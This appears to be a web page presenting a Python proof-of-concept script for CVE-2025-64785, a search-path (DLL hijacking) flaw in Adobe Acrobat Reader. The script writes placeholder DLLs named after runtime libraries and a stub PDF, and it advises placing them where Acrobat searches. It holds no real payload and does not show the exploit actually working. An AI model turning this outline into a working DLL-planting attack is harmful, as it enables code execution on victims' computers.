CVE-2025-64785: Adobe Acrobat Reader不信任搜索路径漏洞

# CVE-2025-64785 PoC - Adobe Acrobat Reader Untrusted Search Path # This PoC demonstrates the concept of search path hijacking # Attackers would place a malicious DLL in a directory where Acrobat Reader searches import os import shutil from pathlib import Path def create_malicious_dll(dll_path): """ Create a placeholder for malicious DLL In real attack, this would be a DLL with malicious code """ # Simulated malicious DLL content dll_content = b'MZ' + b'\x00' * 100 # DLL signature placeholder with open(dll_path, 'wb') as f: f.write(dll_content) print(f"[+] Created malicious DLL at: {dll_path}") def setup_attack_directory(): """ Set up the attack environment 1. Create a directory with a malicious DLL 2. Place a malicious PDF that triggers the DLL loading """ attack_dir = Path("malicious_acrobat_payload") attack_dir.mkdir(exist_ok=True) # Common DLLs that Acrobat Reader might load common_dlls = ["msvcr120.dll", "msvcp120.dll", "api-ms-win-core*.dll"] for dll_name in common_dlls: dll_path = attack_dir / dll_name.replace("*", "core") create_malicious_dll(str(dll_path)) # Create a malicious PDF that references resources malicious_pdf = attack_dir / "exploit.pdf" malicious_pdf.write_bytes(b"%PDF-1.4\n1 0 obj<</Type/Catalog>>endobj\n") print(f"[+] Created malicious PDF at: {malicious_pdf}") print(f"[!] Attack vector: Place this directory in PATH or current working dir") print(f"[!] When victim opens any PDF, Acrobat may load the malicious DLL") def cleanup(): """Clean up attack artifacts""" shutil.rmtree("malicious_acrobat_payload", ignore_errors=True) print("[*] Cleaned up attack artifacts") if __name__ == "__main__": print("CVE-2025-64785 PoC - Adobe Acrobat Reader Search Path Hijacking") print("=" * 70) setup_attack_directory() print("\n[!] Note: This is for educational purposes only") print("[!] Real exploitation requires specific DLL and PDF crafting")